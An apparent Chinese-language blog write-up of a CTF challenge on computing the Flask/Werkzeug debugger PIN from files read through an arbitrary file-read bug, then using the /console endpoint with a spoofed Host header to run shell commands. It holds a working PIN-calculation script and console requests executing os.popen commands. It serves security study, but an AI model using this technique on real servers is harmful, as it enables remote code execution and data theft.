本文最后更新于 2026-01-26T22:36:09+08:00
以前写的,发现忘记传博客了
PIN码 PIN码 (Personal Identification Number,个人识别码)是一串数字密码,用于验证用户身份。
在Flask调试模式下,PIN码是保护调试器访问的安全机制,防止未经授权的用户执行任意代码。
文章:
深入浅出Flask PIN:https://www.freebuf.com/articles/network/340739.html
新版flask pin码计算:https://xz.aliyun.com/news/15462
如果 Flask 开启了 Debug 模式,就可以通过计算 PIN 码来进行RCE
测试代码:
1 2 3 4 5 6 7 8 9 10 from flask import Flask app = Flask(__name__)@app.route("/" ) def index (): return "Hello World" if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
可以在运行终端看到生成的 PIN 码
1 * Debugger PIN: 289-980 -813
可以在浏览器中访问/console,输入 PIN 码进入交互式 Python 控制台,这是依赖 Flask Werkzeug 调试器提供的功能
输入 PIN 码进入控制台,可以执行 Python 代码
可以进行RCE
1 __import__ ('os' ).popen('whoami' ).read()
计算PIN码 PIN码的组成:
probably_public_bits
username:系统用户名(可以从/etc/passwd读取)
appname:应用名称(固定为Flask)
modname:模块名称(固定为flask.app)
moddir:应用文件路径(从debug报错信息获取)
private_bits
uuid:MAC地址(去掉横杠转十进制,/sys/class/net/eth0/address)
machine_id:机器ID(先读/etc/machine-id(无Docker读)、/proc/sys/kernel/random/boot_id(有Docker读),然后读/proc/self/cgroup并取第一行的最后一个斜杠 / 后面的所有字符串,最后和第一个值拼接起来)
有了以上六个东西就可以利用脚本计算 PIN 码了
计算 PIN 码的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import hashlibfrom itertools import chain probably_public_bits = [ 'ctf' , 'flask.app' , 'Flask' , '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' ] private_bits = [ '100034049800637' , '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e' ] h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if bit: h.update(bit.encode('utf-8' ) if isinstance (bit, str ) else bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] pin = '-' .join(num[i:i+3 ] for i in range (0 , 9 , 3 ))print (f"PIN码: {pin} " )
例题:
题目:?CTF [Week4] 好像什么都能读
是一个文件查看器,可以任意读取文件的,提示要算什么,这题就是要算 PIN 码
开始想先看看源码,读/app/app.py
发现是报错了的,这个文件不存在,在报错中可以得到正确的源码文件路径
然后就可以得到源码了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask, request, render_template app = Flask(__name__)@app.route('/' ) def hello_world (): return render_template('index.html' )@app.route('/read' ) def read (): filename = request.args.get('filename' ) if not filename: return "需要提供文件名" , 400 with open (filename, 'r' ) as file: content = file.read() return content, 200 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=True )
可以看到 debug 模式是开了的,然后就是找需要的东西计算 PIN 码
username:系统用户名(可以从/etc/passwd读取)
所以username就是ctf
appname:应用名称(固定为Flask)
modname:模块名称(固定为flask.app)
moddir:应用文件路径(从debug报错信息获取)
在之前的报错中可以得到应用文件路径为:
1 /home/ ctf/.local/ lib/python3.13/ site-packages/flask/ app.py
uuid:MAC地址(去掉横杠转十进制,/sys/class/net/eth0/address)
读/sys/class/net/eth0/address:
1 /sys/class /net /eth0 /address
转换成十进制:
1 2 mac = "e2:f9:93:f7:03:80" print (int (mac.replace(':' , '' ), 16 ))
machine_id:机器ID(先读/etc/machine-id(无Docker读)、/proc/sys/kernel/random/boot_id(有Docker读),然后读/proc/self/cgroup并取第一行的最后一个斜杠 / 后面的所有字符串,最后和第一个值拼接起来)
这是CTF题,docker搭的,所以先读/proc/sys/kernel/random/boot_id
1 /proc/ sys/kernel/ random/boot_id
1 89b34b88 -6 f33-4 c4b-8 a30-69 a4ba41fd0e
然后读/proc/self/cgroup
这里第一行斜杠后面没字符,所以就不用拼接了,机器ID就是:
1 89b34b88 -6 f33-4 c4b-8 a30-69 a4ba41fd0e
最后利用脚本计算 PIN 码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import hashlibfrom itertools import chain probably_public_bits = [ 'ctf' , 'flask.app' , 'Flask' , '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' ] private_bits = [ '249561557173120' , '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e' ] h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if bit: h.update(bit.encode('utf-8' ) if isinstance (bit, str ) else bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] pin = '-' .join(num[i:i+3 ] for i in range (0 , 9 , 3 ))print (f"PIN码: {pin} " )
然后访问/console,输入 PIN 码就可以进入交互式 Python 控制台
但是这里报错了,在之前本地测试的时候,执行python后,在终端可以看到:
1 2 /console?__debugger__=yes&cmd =pinauth&pin =289-980-813&s =2BS8wvYFAGSUJ2PWkb3O /console?__debugger__=yes&cmd =__import__('os' ).popen ('whoami' ).read()&frm =0&s =2BS8wvYFAGSUJ2PWkb3O
所以可以用这个,最后的s是Werkzeug调试器的会话ID,可以在报错中得到:
也可以先抓包
然后直接修改host为127.0.0.1
1 2 3 4 GET /console HTTP/1.1 Host : 127.0.0.1
1 /console?__debugger__=yes&cmd =pinauth&pin =746 -846 -623 &s =F2Ks7AYAxs4phVXbgpY0
可以得到Cookie,然后带着Cookie就可以进行RCE了,注意这里Host一直是127.0.0.1
1 2 3 4 5 GET /console?__debugger__=yes&cmd=__import__('os').popen('cat+/fllllaggggggggggg').read()&frm=0&s=F2Ks7AYAxs4phVXbgpY0 HTTP/1.1 Host : 127.0.0.1Cookie : __wzd3230320e3fe0e5c677b9=1766738111|2d8a3ffa4579;